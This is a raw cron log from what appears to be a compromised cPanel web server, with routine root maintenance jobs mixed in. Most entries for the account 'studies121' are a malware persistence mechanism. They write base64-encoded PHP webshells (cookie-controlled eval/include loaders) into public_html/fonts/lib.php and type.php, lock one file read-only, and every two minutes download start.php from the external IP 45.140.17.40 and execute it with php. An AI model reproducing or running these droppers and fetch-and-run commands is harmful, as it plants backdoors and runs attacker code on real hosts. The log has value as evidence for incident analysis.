Sep 10 18:40:02 ip-184-168-122-23 CROND[23989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:41:01 ip-184-168-122-23 CROND[24203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:41:01 ip-184-168-122-23 CROND[24204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:41:01 ip-184-168-122-23 CROND[24205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:41:01 ip-184-168-122-23 CROND[24202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:42:01 ip-184-168-122-23 CROND[24311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:42:01 ip-184-168-122-23 CROND[24314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:42:01 ip-184-168-122-23 CROND[24315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:42:01 ip-184-168-122-23 CROND[24313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:42:01 ip-184-168-122-23 CROND[24316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:43:01 ip-184-168-122-23 CROND[24418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:43:01 ip-184-168-122-23 CROND[24419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:43:01 ip-184-168-122-23 CROND[24421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:43:01 ip-184-168-122-23 CROND[24422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:44:01 ip-184-168-122-23 CROND[24545]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:44:01 ip-184-168-122-23 CROND[24546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:44:01 ip-184-168-122-23 CROND[24548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:44:01 ip-184-168-122-23 CROND[24549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:44:01 ip-184-168-122-23 CROND[24550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:45:01 ip-184-168-122-23 CROND[24729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:45:01 ip-184-168-122-23 CROND[24731]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:45:01 ip-184-168-122-23 CROND[24732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:45:01 ip-184-168-122-23 CROND[24733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:45:01 ip-184-168-122-23 CROND[24734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:45:01 ip-184-168-122-23 CROND[24735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:46:01 ip-184-168-122-23 CROND[24882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:46:01 ip-184-168-122-23 CROND[24884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:46:01 ip-184-168-122-23 CROND[24885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:46:01 ip-184-168-122-23 CROND[24886]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 18:46:01 ip-184-168-122-23 CROND[24889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:46:01 ip-184-168-122-23 CROND[24888]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 18:46:01 ip-184-168-122-23 CROND[24887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:47:01 ip-184-168-122-23 CROND[25101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:47:01 ip-184-168-122-23 CROND[25102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:47:01 ip-184-168-122-23 CROND[25103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:47:01 ip-184-168-122-23 CROND[25104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:48:01 ip-184-168-122-23 CROND[25194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:48:01 ip-184-168-122-23 CROND[25196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:48:01 ip-184-168-122-23 CROND[25197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:48:01 ip-184-168-122-23 CROND[25198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:48:01 ip-184-168-122-23 CROND[25199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:49:01 ip-184-168-122-23 CROND[25312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:49:01 ip-184-168-122-23 CROND[25314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:49:01 ip-184-168-122-23 CROND[25315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:49:01 ip-184-168-122-23 CROND[25317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:50:01 ip-184-168-122-23 CROND[25408]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 18:50:01 ip-184-168-122-23 CROND[25409]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:50:01 ip-184-168-122-23 CROND[25413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:50:01 ip-184-168-122-23 CROND[25416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:50:01 ip-184-168-122-23 CROND[25414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:50:01 ip-184-168-122-23 CROND[25419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:50:01 ip-184-168-122-23 CROND[25418]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:50:01 ip-184-168-122-23 CROND[25417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:50:01 ip-184-168-122-23 CROND[25421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:51:01 ip-184-168-122-23 CROND[25519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:51:01 ip-184-168-122-23 CROND[25521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:51:01 ip-184-168-122-23 CROND[25522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:51:01 ip-184-168-122-23 CROND[25520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:52:01 ip-184-168-122-23 CROND[25630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 18:52:01 ip-184-168-122-23 CROND[25632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 18:52:01 ip-184-168-122-23 CROND[25633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 18:52:01 ip-184-168-122-23 CROND[25634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
